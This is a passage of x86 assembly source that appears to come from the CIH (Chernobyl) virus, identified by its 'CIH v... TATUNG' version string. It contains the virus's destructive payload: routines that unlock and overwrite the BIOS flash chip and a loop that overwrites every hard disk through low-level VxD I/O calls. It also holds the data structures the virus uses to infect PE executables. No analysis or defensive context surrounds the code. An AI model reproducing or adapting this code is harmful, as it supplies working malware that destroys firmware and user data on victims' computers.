; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************; ***************************
; * Kill BIOS EEPROM *
; ***************************mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; ***********************mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************mov di, 0058h
dec edx ; and al,0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************lea ebx, EnableEEPROMToWrite-@10[esi]mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60hpush ecx
loop $; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; ***********************xor ah, ah
mov [eax], alxchg ecx, eax
loop $; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20hloop $; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; ***********************mov ah, 0e0h
mov [eax], al; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al,10h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecxmov esi, esp
sub esp, 0achLoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommandcmp word ptr [esi+06h], 0017h
je KillNextDataSectionChangeNextHardDisk:
inc byte ptr [esi+4dh]jmp LoopOfKillHardDiskKillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumberjmp LoopOfKillHardDisk; ***************************
; * Enable EEPROM to Write *
; ***************************EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], alret; ***************************
; * IO for EEPROM *
; ***************************IOForEEPROM:
@10 = IOForEEPROMxchg eax, edi
xchg edx, ebp
out dx, eaxxchg eax, edi
xchg edx, ebp
in al, dxBooleanCalculateCode = $
or al, 44hxchg eax, edi
xchg edx, ebp
out dx, eaxxchg eax, edi
xchg edx, ebp
out dx, alret; *********************************************************
; * Static Data *
; *********************************************************LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPathVxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize = ($-VxDCallIDTable)/04h; *********************************************************
; * Virus Version Copyright *
; *********************************************************VirusVersionCopyright db 'CIH v'
db MajorVirusVersion+'0'
db '.'
db MinorVirusVersion+'0'
db ' TATUNG'; *********************************************************
; * Virus Size *
; *********************************************************VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h); *********************************************************
; * Dynamic Data *
; *********************************************************VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBufferDataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignment dd ?
FileAlignment dd ?
OperatingSystemVersion dd ?
ImageVersion dd ?
SubsystemVersion dd ?
Reserved dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSectionsNewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04hStartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName; *********************************************************
; * Virus Total Need Memory *
; *********************************************************VirusNeedBaseMemory = $VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h); *********************************************************
; *********************************************************VirusGame ENDSEND FileHeader
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